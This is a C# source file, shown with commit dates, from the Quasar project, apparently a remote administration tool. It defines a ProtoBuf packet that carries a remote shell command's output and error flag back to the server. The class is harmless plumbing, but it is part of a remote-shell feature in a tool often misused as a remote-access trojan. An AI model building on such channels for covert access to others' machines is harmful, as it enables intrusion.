Quasar/Server/Core/Packets/ClientPackets/ShellCommandResponse.cs

29 lines
612 B
C#
Raw Normal View History

2014-07-08 12:58:53 +00:00
using ProtoBuf;
2015-01-13 18:29:11 +00:00
namespace xServer.Core.Packets.ClientPackets
2014-07-08 12:58:53 +00:00
{
[ProtoContract]
public class ShellCommandResponse : IPacket
{
[ProtoMember(1)]
public string Output { get; set; }
[ProtoMember(2)]
public bool IsError { get; private set; }
public ShellCommandResponse()
{
}
public ShellCommandResponse(string output, bool _IsError = false)
2014-07-08 12:58:53 +00:00
{
this.Output = output;
this.IsError = _IsError;
2014-07-08 12:58:53 +00:00
}
public void Execute(Client client)
{
client.Send(this);
2014-07-08 12:58:53 +00:00
}
}
}